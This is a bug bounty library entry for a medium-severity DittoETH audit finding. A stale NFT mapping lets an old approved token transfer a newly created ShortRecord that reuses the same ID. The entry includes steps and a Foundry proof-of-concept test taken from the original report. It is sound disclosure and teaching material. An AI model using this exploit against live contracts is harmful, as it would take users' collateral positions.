# transferShortRecord: Can transfer a newly created ShortRecord using a previously minted NFT

Stale NFT mapping survives ShortRecord closure, so a previously approved NFT can transfer a newly created ShortRecord that reuses the same ID.

- Payout: Audit contest
- Severity: medium
- Program: DittoETH
- Found by: klau5
- Disclosed: 2024-06-25
- Write-up quality: 7/10
- Original: https://github.com/code-423n4/2024-03-dittoeth-findings/issues/174
- Library page: https://bugbountylibrary.com/r/c4%3A2024-03-dittoeth%3AM-04
- Tags: area:web3 domain:web3 impact:integrity kind:contest platform:code4rena sev:medium tech:evm tech:solidity technique:incomplete-fix technique:source-review vuln:access-control vuln:business-logic

**Target:** DittoETH ERC721Facet transferShortRecord / NFT-to-ShortRecord mapping
**Root cause:** Closing a ShortRecord does not burn the NFT or clear s.nftMapping[tokenId].shortRecordId, and transferShortRecord never verifies short.tokenId == tokenId, so a reused shortRecordId is reachable via an old NFT.
**Steps:**
1. Mint NFT for shortRecordId C.SHORT_STARTING_ID as sender; approve attacker for tokenId 1.
2. Exit/close the ShortRecord; NFT and nftMapping.shortRecordId persist.
3. Create a new short with the same shortRecordId (ID reused).
4. Mint a new NFT (tokenId 2) for the new ShortRecord.
5. Attacker calls `transferFrom(sender, attacker, 1)`; transferShortRecord moves the new ShortRecord to attacker despite tokenId mismatch.
**How found:** Noticed that closed ShortRecords leave NFT mappings intact and that shortRecordId can be reused, then hypothesized the transfer path lacks a tokenId-vs-short.tokenId check and confirmed via Foundry PoC.
**Exploitation:** Precondition: victim previously approved an NFT for a now-closed ShortRecord (e.g. marketplace listing). After the ShortRecord ID is reused by a new short, the stale approval lets the approved party call transferFrom on the old tokenId and pull the new ShortRecord's collateral/debt to themselves.
**Insight:** When NFTs are 1:1 proxies for mutable state keyed by reusable IDs, check that the transfer path validates the state's back-pointer (short.tokenId) matches the NFT tokenId; stale approvals on burned-but-not-deleted tokens become live again after ID reuse.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test for NFT transfer of reused ShortRecord**

```
function test_PoCNFTTransferPossibleWithReusedID() public {
    address attacker = address(0x1337);

    fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
    fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender);

    vm.prank(sender);
    diamond.mintNFT(asset, C.SHORT_STARTING_ID, 0);

    STypes.NFT memory nftBefore = diamond.getNFT(1);
    assertEq(nftBefore.owner, sender);
    assertEq(nftBefore.shortRecordId, C.SHORT_STARTING_ID);

    assertEq(diamond.ownerOf(1), sender);
    assertEq(diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID).tokenId, 1);

    vm.prank(sender);
    diamond.approve(attacker, 1); // attakcer approved old SR NFT

    fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
    exitShort(C.SHORT_STARTING_ID, DEFAULT_AMOUNT, DEFAULT_PRICE, sender); // SR Closed

    STypes.NFT memory nftAfterExit = diamond.getNFT(1);
    assertEq(nftAfterExit.owner, nftBefore.owner);
    assertEq(nftBefore.shortRecordId, nftAfterExit.shortRecordId);

    fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, receiver);
    fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, sender); // shortRecordId reused

    assertEq(diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID).tokenId, 0);

    vm.prank(sender);
    diamond.mintNFT(asset, C.SHORT_STARTING_ID, 0); // mint NFT again with new SR (NFT tokenId #2)

    assertEq(diamond.getShortRecord(asset, sender, C.SHORT_STARTING_ID).tokenId, 2);

    STypes.NFT memory nftAfterNewSRCreated = diamond.getNFT(1);
    assertEq(nftAfterNewSRCreated.owner, nftBefore.owner); // but NFT mapping is still exist
    assertEq(nftAfterNewSRCreated.shortRecordId, C.SHORT_STARTING_ID);

    assertEq(diamond.getShortRecord(asset, attacker, C.SHORT_STARTING_ID).collateral, 0); // attacker has no SR
    vm.prank(attacker);
    diamond.transferFrom(sender, attacker, 1); // attacker still can transfer NFT, and move new SR
    assertNotEq(diamond.getShortRecord(asset, attacker, C.SHORT_STARTING_ID).collateral, 0); // attacker successfully transfered SR
}
```

